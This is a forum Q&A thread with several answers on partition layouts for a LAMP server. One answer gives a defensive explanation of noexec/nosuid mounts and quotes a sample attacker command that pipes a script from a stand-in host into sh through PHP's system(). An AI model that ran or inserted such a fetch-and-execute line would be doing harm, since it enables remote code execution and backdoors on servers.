Suggested Linux partitions layout for an LAMP server? [closed]

Question

I need some suggestions on what would be the best approach for the partition layout for an LAMP server, that is LINUX + APACHE + PHP + MYSQL.

Answer 1

I suggest using your OS's default layout unless you have some special considerations, e.g. as large amounts of data, very high usage, potentially large growth.

You can always expand later ... for example we often have: /tmp /boot / Should mysql get bogged down due to disk IO we can add another disk or SAN mount at /var/lib/mysql

If your doc root is /var/www, you can always mount more disk resources as well.

Some will tout performance benefits of using a more fine grained system, but I often find the claims do not hold up in real-world applications or have little performance impact because the system is not disk IO limited.

Answer 2

If nothing else matters *sings along with Metallica*, you should at least take care that you have a separate mount for PHP uploads / temporary files and for your web root mounted with nosuid,noexec flags. That stops about 99% of script kiddie attacks.

Why?

Because practically all of them seem to use pattern like

1) Find a weakness in some PHP script, like passing arbitrary code via some URL parameter.

2.1) Upload a file containing C code or a shell script from some nice web form you have there in your site.

or

2.2) Make your web server download and execute some nasty code via URL parameters like `system("curl http://icanhazyourcheezburger.com/ipwnj00.sh | sh") or so. Some of these instruct your server to first fetch the C source code and compile it with gcc, so disabling gcc from Apache user is a good idea, too.

3) See how you have a nice backdoor installed in your server.

So, how does noexec,nosuid help in this case? No code would be executed at all. Yeah yeah, that CAN be overridden, but it's getting harder and anyway security is made of layers, this noexec,nosuid thing is just one of them.

Answer 3

I usually do the following (using Debian):

I put everything into LVM (this works with Grub2).

• /boot 1GB (space for a rescue/install cd image or something else tricky. Can be kept off LVM if you are cautious).
• / 5-10 GB, maybe 20GB if I need Matlab or something else in /opt
• /home size depends on server (what kind of users? how many? how much data?)
• /var again size depends on server (logfiles, mostly)
• /srv and again size depends, but this is where I would put docroot (/srv/www)

Specifically I do not fill up the entire VG, as that gives me more room to play as requirements change. And growing filesystems can be done online using LVM.

Answer 4

The reason that some server admins partition systems like crazy is that if someone nails the server with a file upload attack (there was a big upload attack vulnerability in PHP before some version of 5.2.X for example) or a logfile attack, the system doesn't run out of file space and crash when /var/log or /tmp fill up. This is not a very big concern anymore with hard drives the size they are, but then there's the smaller partition performance boost as well.

I read somewhere that modern drives perform best near the middle and the end of the drive, but run your own tests as hardware is always different. Having something like swap or /tmp located in a better spot for performance might give you a worthwhile boost, who knows. Then again, you can always throw more disks or a SAN at the problem, as others have mentioned.

Answer 5

See http://novosial.org/kickstart/#s3

It suggests, at a minimum having separate boot, swap and a mixed os software and user partitions - since its not space and time efficient to have multiple small partitions. However for critical servers, isolating untrusted users from critical filesystem areas. This includes user home directories and temporary directories. It also suggests mounting the user areas with the nosuid or other options to prevent untrusted execution of code.

Answer 6

It depends from your level of expertise, from the load of the server, from the budget. It is, if you are a beginner and the server doesn't need to reply to really many queries, then also a single partition could do the job, maybe two, one for /var, because the log files can quickly fill a filesystem and if it is the root one the server can stop working.

If the server has to support a big load then it could be sensible to do more partitions because little partitions have shorter access time than bigger one if there aren't many concurrent access to different partitions on the same disk. If you have more budget (also if today disks are quiet cheap) it could be a good idea to do RAID, at least 1 or better 10 (there is a reliability and also a performance gain), but in the first case you must use at least 2 disks and in the second one at least 4. Then you'll use a filesystem that can be resized and LVM to get the same target (partition and filesystem resizing). In such case you could have /, /boot, /var, /var/log, /home, /tmp, /usr and maybe /usr/local, /opt. I read that swap partition in the recent kernel doesn't have worst performances than a swap file, so you could have a swap partition, but also no.

Maybe ;-)